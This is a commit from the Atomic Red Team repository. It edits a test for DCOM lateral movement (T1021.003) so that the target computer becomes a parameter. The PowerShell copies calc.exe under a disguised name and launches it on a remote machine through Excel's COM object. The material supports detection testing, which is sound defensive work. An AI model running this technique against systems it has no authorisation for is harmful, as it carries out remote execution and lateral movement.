Update T1021.003.yaml

redcanaryco · Nov 3, 2023 · 60fe9e1 · 60fe9e1
1 parent ab38692
commit 60fe9e1
Showing 1 changed file with 1 addition and 1 deletion.
diff --git a/atomics/T1021.003/T1021.003.yaml b/atomics/T1021.003/T1021.003.yaml
@@ -58,6 +58,6 @@ atomic_tests:
   executor:
     command: |
       copy c:\windows\system32\calc.exe 'C:\users\#{user}\AppData\local\Microsoft\WindowsApps\foxprow.exe'
-      $com = [System.Activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Application","localhost"))
+      $com = [System.Activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Application","#{computer_name}"))
       $com.ActivateMicrosoftApp("5")
     name: powershell